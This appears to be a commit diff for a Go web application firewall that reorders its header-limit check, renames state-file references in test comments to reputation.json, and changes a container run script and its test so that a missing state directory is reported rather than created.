|||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
)
|
)
|
||||||
|
|
||||||
// The header limits: the most cookies and header fields a request may have.
|
// The header limits: the most cookies and header fields a request may have
|
||||||
// Real clients never reach them.
|
// when the checks reach the Core Rule Set. Real clients never reach them.
|
||||||
const (
|
const (
|
||||||
maxCookies = 50
|
maxCookies = 50
|
||||||
maxHeaderFields = 100
|
maxHeaderFields = 100
|
||||||
)
|
)
|
||||||
|
|
||||||
// headerLimits refuses a request with more than maxHeaderFields header fields
|
// headerLimits refuses a request over the header limits, with 431. Its figures
|
||||||
// or more than maxCookies cookies, with 431. Its figures are the request's
|
// are the request's header fields and cookies, and the limit of each.
|
||||||
// header fields and cookies, and the limit of each.
|
|
||||||
type headerLimits struct{}
|
type headerLimits struct{}
|
||||||
|
|
||||||
func (headerLimits) name() string { return "header_limits" }
|
func (headerLimits) name() string { return "header_limits" }
|
||||||
|
|
||||||
func (headerLimits) check(_ context.Context, rq *request, _ time.Time) *verdict {
|
func (headerLimits) check(_ context.Context, rq *request, _ time.Time) *verdict {
|
||||||
fields, cookies := rq.headerCounts()
|
fields, cookies := rq.headerCounts()
|
||||||
if fields <= maxHeaderFields && cookies <= maxCookies {
|
if !overHeaderLimits(fields, cookies) {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -39,6 +38,13 @@ func (headerLimits) check(_ context.Context, rq *request, _ time.Time) *verdict
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// overHeaderLimits reports whether a request with these counts of header fields
|
||||||
|
// and cookies, as headerCounts counts them, is over the header limits: it has
|
||||||
|
// more than maxHeaderFields fields or more than maxCookies cookies.
|
||||||
|
func overHeaderLimits(fields, cookies int) bool {
|
||||||
|
return fields > maxHeaderFields || cookies > maxCookies
|
||||||
|
}
|
||||||
|
|
||||||
// headerCounts returns the request's header fields, each value of a header sent
|
// headerCounts returns the request's header fields, each value of a header sent
|
||||||
// twice being one, and its cookies, each part of a Cookie header between
|
// twice being one, and its cookies, each part of a Cookie header between
|
||||||
// semicolons being one unless it is empty or only spaces and tabs. The Core
|
// semicolons being one unless it is empty or only spaces and tabs. The Core
|
||||||
|
|||||||
@@ -41,11 +41,8 @@ const (
|
|||||||
|
|
||||||
// beforeLookup are the heuristics that run before the client's AS number and
|
// beforeLookup are the heuristics that run before the client's AS number and
|
||||||
// country are looked up, so that a client they refuse is not looked up.
|
// country are looked up, so that a client they refuse is not looked up.
|
||||||
// header_limits comes first: it only counts, and a request it refuses causes no
|
|
||||||
// other work.
|
|
||||||
func beforeLookup() []heuristic {
|
func beforeLookup() []heuristic {
|
||||||
return []heuristic{
|
return []heuristic{
|
||||||
headerLimits{},
|
|
||||||
tagLists{},
|
tagLists{},
|
||||||
routeWatchTags{},
|
routeWatchTags{},
|
||||||
denyNets{},
|
denyNets{},
|
||||||
@@ -67,6 +64,7 @@ func afterLookup() []heuristic {
|
|||||||
rateLimits{},
|
rateLimits{},
|
||||||
trapPaths{},
|
trapPaths{},
|
||||||
ruleFiles{},
|
ruleFiles{},
|
||||||
|
headerLimits{},
|
||||||
coreRuleSet{},
|
coreRuleSet{},
|
||||||
tagDeny{},
|
tagDeny{},
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -86,8 +86,8 @@ type Params struct {
|
|||||||
// Server is the server waf runs, with the parts whose state the state
|
// Server is the server waf runs, with the parts whose state the state
|
||||||
// files keep, the lookup database, nil unless SWW_LOOKUP_SOURCE is file, the
|
// files keep, the lookup database, nil unless SWW_LOOKUP_SOURCE is file, the
|
||||||
// lists fetched from URLs, which its Run fetches, the DNSBL zones' verdicts,
|
// lists fetched from URLs, which its Run fetches, the DNSBL zones' verdicts,
|
||||||
// AbuseIPDB's scores and checks spent, routewatch's answers, and the metrics.
|
// AbuseIPDB's scores and checks spent, and the metrics. RouteWatch, nil while
|
||||||
// RouteWatch is nil while SWW_ROUTEWATCH_URL is unset.
|
// SWW_ROUTEWATCH_URL is unset, keeps its answers in memory only.
|
||||||
type Server struct {
|
type Server struct {
|
||||||
*http.Server
|
*http.Server
|
||||||
|
|
||||||
|
|||||||
@@ -39,7 +39,7 @@ const (
|
|||||||
)
|
)
|
||||||
|
|
||||||
// The lists these tests name, which are never fetched: each test puts in
|
// The lists these tests name, which are never fetched: each test puts in
|
||||||
// the copies it needs, as lists.json would at start.
|
// the copies it needs, as reputation.json would at start.
|
||||||
const (
|
const (
|
||||||
dropURL = "https://lists.example/drop.txt"
|
dropURL = "https://lists.example/drop.txt"
|
||||||
torURL = "https://lists.example/tor.txt"
|
torURL = "https://lists.example/tor.txt"
|
||||||
@@ -374,7 +374,7 @@ const (
|
|||||||
|
|
||||||
// The DNSBL zones these tests name, which are never asked about the
|
// The DNSBL zones these tests name, which are never asked about the
|
||||||
// clients the tests send requests from: each test puts in the verdicts it
|
// clients the tests send requests from: each test puts in the verdicts it
|
||||||
// needs, as dnsbl.json would at start. A query a test does start is
|
// needs, as reputation.json would at start. A query a test does start is
|
||||||
// sent to noResolver, where nothing listens, so that none leaves the host.
|
// sent to noResolver, where nothing listens, so that none leaves the host.
|
||||||
const (
|
const (
|
||||||
dnsblZone = "dnsbl.example"
|
dnsblZone = "dnsbl.example"
|
||||||
@@ -1072,7 +1072,7 @@ func verdictsFetched() time.Time {
|
|||||||
|
|
||||||
// loadVerdicts puts into server's DNSBL, for each client listedBy names,
|
// loadVerdicts puts into server's DNSBL, for each client listedBy names,
|
||||||
// a verdict of each zone SWW_DNSBL_ZONES names, fetched at
|
// a verdict of each zone SWW_DNSBL_ZONES names, fetched at
|
||||||
// verdictsFetched, as dnsbl.json would at start: one that lists the
|
// verdictsFetched, as reputation.json would at start: one that lists the
|
||||||
// client from each zone listedBy gives for it, and one that does not from
|
// client from each zone listedBy gives for it, and one that does not from
|
||||||
// each other zone.
|
// each other zone.
|
||||||
func loadVerdicts(server *waf.Server, listedBy map[string][]string) {
|
func loadVerdicts(server *waf.Server, listedBy map[string][]string) {
|
||||||
@@ -1091,8 +1091,8 @@ func loadVerdicts(server *waf.Server, listedBy map[string][]string) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// loadScores puts into server's AbuseIPDB the score scores gives each
|
// loadScores puts into server's AbuseIPDB the score scores gives each
|
||||||
// client, an IPv4 address, fetched at verdictsFetched, as
|
// client, an IPv4 address, fetched at verdictsFetched, as reputation.json
|
||||||
// abuseipdb-scores.json would at start.
|
// would at start.
|
||||||
func loadScores(server *waf.Server, scores map[string]int64) {
|
func loadScores(server *waf.Server, scores map[string]int64) {
|
||||||
kept := make([]reputation.Score, 0, len(scores))
|
kept := make([]reputation.Score, 0, len(scores))
|
||||||
for client, score := range scores {
|
for client, score := range scores {
|
||||||
@@ -1116,7 +1116,7 @@ func wantAbuseIPDBChecks(t *testing.T, server *waf.Server, want int) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// loadLists puts copies of lists into server's lists, by URL, each with
|
// loadLists puts copies of lists into server's lists, by URL, each with
|
||||||
// its lines, fetched at listsFetched, as lists.json would at start.
|
// its lines, fetched at listsFetched, as reputation.json would at start.
|
||||||
func loadLists(t *testing.T, server *waf.Server, copies map[string][]string) {
|
func loadLists(t *testing.T, server *waf.Server, copies map[string][]string) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
|
|||||||
+10
-8
@@ -143,9 +143,10 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
|||||||
|
|
||||||
// refusedWhateverTheAnswer reports whether the request is one that does not wait
|
// refusedWhateverTheAnswer reports whether the request is one that does not wait
|
||||||
// for GeoJS, since the checks will refuse it at now whatever GeoJS answers about
|
// for GeoJS, since the checks will refuse it at now whatever GeoJS answers about
|
||||||
// its client: the heuristic crowdsec, blocklists or rate_limits will refuse it,
|
// its client: the heuristic crowdsec, header_limits, blocklists or rate_limits
|
||||||
// as a function in that heuristic's file says. In observe mode, which refuses
|
// will refuse it, as a function in that heuristic's file says. In observe mode,
|
||||||
// nothing, none is. rproxy lets a request through when waf answers too late.
|
// which refuses nothing, none is. rproxy lets a request through when
|
||||||
|
// waf answers too late.
|
||||||
func (rq *request) refusedWhateverTheAnswer(now time.Time) bool {
|
func (rq *request) refusedWhateverTheAnswer(now time.Time) bool {
|
||||||
if rq.h.config.Observe {
|
if rq.h.config.Observe {
|
||||||
return false
|
return false
|
||||||
@@ -153,7 +154,8 @@ func (rq *request) refusedWhateverTheAnswer(now time.Time) bool {
|
|||||||
|
|
||||||
_, decided := rq.crowdSecDecisionInForce(now)
|
_, decided := rq.crowdSecDecisionInForce(now)
|
||||||
|
|
||||||
return decided || rq.refusedByBlocklists(rq.h.lists.ListedBy(rq.client)) ||
|
return decided || overHeaderLimits(rq.headerCounts()) ||
|
||||||
|
rq.refusedByBlocklists(rq.h.lists.ListedBy(rq.client)) ||
|
||||||
rq.overAWholeRateLimit(now)
|
rq.overAWholeRateLimit(now)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -213,10 +215,10 @@ func (h *handler) answerQuestion(w http.ResponseWriter, r *http.Request) {
|
|||||||
|
|
||||||
// readQuestion returns the visitor's address and the body a question carries,
|
// readQuestion returns the visitor's address and the body a question carries,
|
||||||
// and whether waf takes the question. It answers a question it does not
|
// and whether waf takes the question. It answers a question it does not
|
||||||
// take with 400 and no disposition. rproxy passes that 400 to the visitor,
|
// take with 400 and no disposition, which rproxy treats as it treats no
|
||||||
// and SWRP_DEFAULT_DISPOSITION does not apply. The id of a question waf takes
|
// answer. The id of a question it takes is held from here on, without a
|
||||||
// is held from here on, without a decision yet, so that another question with
|
// decision yet, so that another question with that id is refused while this
|
||||||
// that id is refused while this one is being handled.
|
// one is being handled.
|
||||||
//
|
//
|
||||||
// The body is read before any check, since Go's server does not send an answer
|
// The body is read before any check, since Go's server does not send an answer
|
||||||
// until it has read the body. A question whose body stops arriving gets no
|
// until it has read the body. A question whose body stops arriving gets no
|
||||||
|
|||||||
+5
-13
@@ -18,8 +18,8 @@
|
|||||||
# client;
|
# client;
|
||||||
# - that a waf container with its state files on a new volume mounted at
|
# - that a waf container with its state files on a new volume mounted at
|
||||||
# the directory SWW_STATE_DIR_FILE names becomes healthy;
|
# the directory SWW_STATE_DIR_FILE names becomes healthy;
|
||||||
# - that the run script makes a SWW_STATE_DIR that does not exist, owned
|
# - that one whose SWW_STATE_DIR does not exist logs waf's message
|
||||||
# by sww with mode 0700, and that waf then becomes healthy.
|
# about it.
|
||||||
# waf runs with SWW_LOOKUP_SOURCE=off, so that no address is sent to
|
# waf runs with SWW_LOOKUP_SOURCE=off, so that no address is sent to
|
||||||
# GeoJS. The containers, the network, the volumes and both images are removed
|
# GeoJS. The containers, the network, the volumes and both images are removed
|
||||||
# however the script ends. Building the app needs network access, for nixpkgs'
|
# however the script ends. Building the app needs network access, for nixpkgs'
|
||||||
@@ -159,12 +159,6 @@ owner_of() {
|
|||||||
docker exec "$1" stat --format '%U' "$2"
|
docker exec "$1" stat --format '%U' "$2"
|
||||||
}
|
}
|
||||||
|
|
||||||
# owner_and_mode_of <container> <dir>: print who owns dir there, and its
|
|
||||||
# mode in octal.
|
|
||||||
owner_and_mode_of() {
|
|
||||||
docker exec "$1" stat --format '%U %a' "$2"
|
|
||||||
}
|
|
||||||
|
|
||||||
main() {
|
main() {
|
||||||
cd "$ROOT"
|
cd "$ROOT"
|
||||||
trap cleanup EXIT
|
trap cleanup EXIT
|
||||||
@@ -257,11 +251,9 @@ main() {
|
|||||||
--env SWW_STATE_DIR=/srv/missing \
|
--env SWW_STATE_DIR=/srv/missing \
|
||||||
--env SWW_LOOKUP_SOURCE=off \
|
--env SWW_LOOKUP_SOURCE=off \
|
||||||
"$IMAGE" >/dev/null
|
"$IMAGE" >/dev/null
|
||||||
wait_for "waf's health check did not pass" healthy "$WAF"
|
wait_for "waf did not report the missing state directory" \
|
||||||
[ "$(owner_and_mode_of "$WAF" /srv/missing)" = "sww 700" ] ||
|
logged "$WAF" "SWW_STATE_DIR cannot be written"
|
||||||
fail "the run script did not make SWW_STATE_DIR for sww with mode 0700"
|
echo "example-app: waf reports a state directory that does not exist"
|
||||||
echo "example-app: the run script makes a missing SWW_STATE_DIR for sww" \
|
|
||||||
"with mode 0700"
|
|
||||||
}
|
}
|
||||||
|
|
||||||
main "$@"
|
main "$@"
|
||||||
+18
-17
@@ -12,7 +12,7 @@ main() {
|
|||||||
case "$command" in
|
case "$command" in
|
||||||
rproxy) ;;
|
rproxy) ;;
|
||||||
waf)
|
waf)
|
||||||
make_state_dir_for_sww
|
give_state_dir_to_sww
|
||||||
make_cache_dir_for_sww
|
make_cache_dir_for_sww
|
||||||
;;
|
;;
|
||||||
*)
|
*)
|
||||||
@@ -24,27 +24,28 @@ main() {
|
|||||||
exec chpst -u sww:sww /usr/local/bin/sww "$command"
|
exec chpst -u sww:sww /usr/local/bin/sww "$command"
|
||||||
}
|
}
|
||||||
|
|
||||||
# make_state_dir_for_sww makes the state directory, SWW_STATE_DIR in
|
# give_state_dir_to_sww gives the state directory and every file in
|
||||||
# either form, when it is missing, gives it and every file in it to the
|
# it to the sww user, so that a volume mounted there needs no change
|
||||||
# sww user, and sets its mode to 0700. So a volume mounted there needs no
|
# of owner; chown -R changes a symbolic link itself, never what it points
|
||||||
# change of owner; chown -R changes a symbolic link itself, never what it
|
# to. When SWW_STATE_DIR, in either form, cannot be read or is not the
|
||||||
# points to. When the setting cannot be read or is not an absolute path,
|
# absolute path of a directory, no owner is changed, and waf starts and
|
||||||
# nothing is changed, and waf starts and stops with a message naming the
|
# stops with a message naming the setting. A change of owner that fails, as
|
||||||
# setting. A step that fails, as on a volume mounted read-only, does not
|
# on a volume mounted read-only, does not end the script either: waf
|
||||||
# end the script either: waf reports a directory it cannot write.
|
# reports a directory it cannot write.
|
||||||
make_state_dir_for_sww() {
|
give_state_dir_to_sww() {
|
||||||
local dir
|
local dir
|
||||||
if dir="$(setting SWW_STATE_DIR /var/lib/sww)" && [[ "$dir" == /* ]]; then
|
if dir="$(setting SWW_STATE_DIR /var/lib/sww)" &&
|
||||||
{ mkdir -p -- "$dir" && chown -R sww:sww "$dir" &&
|
[[ "$dir" == /* && -d "$dir" ]]; then
|
||||||
chmod 0700 "$dir"; } || true
|
chown -R sww:sww "$dir" || true
|
||||||
fi
|
fi
|
||||||
}
|
}
|
||||||
|
|
||||||
# make_cache_dir_for_sww makes the cache directory, SWW_CACHE_DIR in
|
# make_cache_dir_for_sww makes the cache directory, SWW_CACHE_DIR in
|
||||||
# either form, when it is missing, and gives it and every file in it to
|
# either form, and gives it and every file in it to the sww user, as
|
||||||
# the sww user. As for the state directory, a setting that cannot be read
|
# give_state_dir_to_sww does the state directory. Unlike that one, it is
|
||||||
# or is not an absolute path changes nothing, and a failure does not end
|
# made when it is missing, since the cache files need no volume. As there,
|
||||||
# the script.
|
# a setting that cannot be read or is not an absolute path changes
|
||||||
|
# nothing, and a failure does not end the script.
|
||||||
make_cache_dir_for_sww() {
|
make_cache_dir_for_sww() {
|
||||||
local dir
|
local dir
|
||||||
if dir="$(setting SWW_CACHE_DIR /var/cache/sww)" && [[ "$dir" == /* ]]; then
|
if dir="$(setting SWW_CACHE_DIR /var/cache/sww)" && [[ "$dir" == /* ]]; then
|
||||||
|
|||||||
Reference in new issue
Block a user